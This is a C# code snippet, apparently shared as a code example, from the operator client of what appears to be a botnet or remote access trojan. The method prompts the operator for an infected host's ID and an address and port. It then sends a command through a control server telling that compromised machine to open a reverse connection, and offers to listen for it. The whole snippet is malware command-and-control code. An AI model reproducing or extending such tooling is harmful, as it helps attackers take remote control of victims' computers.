Beispiel #1
0
        /// <summary>
        /// Ask the user for an hostname/ip, a port number and an host_id.
        /// Send the request to the server wich will tell the infected host (identified by host_id) the connect to the specified host and port.
        /// The user can choose to listen to the specified port.
        /// </summary>
        /// <returns>Port number to listen to or null</returns>
        static int?SendReverseConnectionRequestToHost()
        {
            Console.Write("Please type the host_id to send the reverse connection request to : ");
            var host_id = ConsoleTools.PromptInt(null, "Please enter an integer");

            Console.Write("Please type the hostname or ip adress the infected host should connect to (yours ?) : ");
            var host = ConsoleTools.PromptNonEmptyString();

            var port = ConsoleTools.AskForPortNumber("Port");

            var data     = JsonConvert.SerializeObject(new ConnectClientRequestJson(host_id, host, port));
            var response = PostJsonToServer <ConnectClientResponseJson>(data);

            if (response == null)
            {
                return(null);
            }

            if (!response.result)
            {
                ColorTools.WriteCommandError("The server responded with an error, verify the host_id");
                return(null);
            }

            ColorTools.WriteCommandSuccess("Command successfully sent");

            Console.Write("Would you like to listen on the selected port now ? (Y/n) : ");
            var choice = Console.ReadLine();

            if (choice == "n" || choice == "N")
            {
                return(null);
            }

            return(port);
        }